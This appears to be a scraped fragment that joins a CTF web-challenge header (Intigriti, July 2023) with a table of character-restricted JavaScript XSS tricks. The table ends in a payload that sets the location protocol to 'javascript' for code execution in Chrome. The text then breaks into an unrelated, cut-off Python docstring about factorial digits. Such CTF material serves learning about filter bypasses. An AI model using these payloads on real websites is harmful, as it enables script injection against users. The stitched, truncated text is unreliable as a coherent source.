- Category: Web
- Impact: Medium
- Solves: 35
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February 11, 2025 00:36
Intigriti's July 2023 Web challenge thanks to @kavishkagihan
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| xss = "'\xff'.codePointAt()"; // To obtain the number 255 | |
| xss = "Date.length"; // To obtain the digit 7 | |
| xss = "''+RegExp()"; // To return the pattern string "/(?:)/" | |
| xss = "''.split('')"; // To get an empty array as `Array []` (from https://github.com/denysdovhan/wtfjs) | |
| xss = "history.length"; // To get any number per page interaction, useful to avoid using like single quotes | |
| xss = "localStorage.x"; // From the user `localStorage` who will retrieve any contained value from the `x` key | |
| xss = "origin.match()"; // To get an array of one element as `['',index:0,input:'https://challenge-0523.intigriti.io',groups:undefined]` | |
| xss = "(''+RegExp()).at()"; // To return a slash string "/" with only 18 allowed characters | |
| xss = "(''+RegExp()).at()+(''+RegExp('t.ly'))+'testing'"; // To get a valid URL like "//t.ly/testing" of an URL shortener | |
| xss = "with(Reflect)set(get(frames,'locatio'+'n'),'pr\otocol','javascri\pt')"; // To get a XSS arbitrary code on `Chrome` with some url p |
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| """ | |
| This code provides functions to find the last nonzero values of a positive factorial. | |
| """ | |
| def f(n: int, k: int) -> int: | |
| """ | |
| Returns the k last nonzero digits. | |
| .. note:: | |
| As f(10**100, 13) is a Googolbang where the 13 last nonzero |
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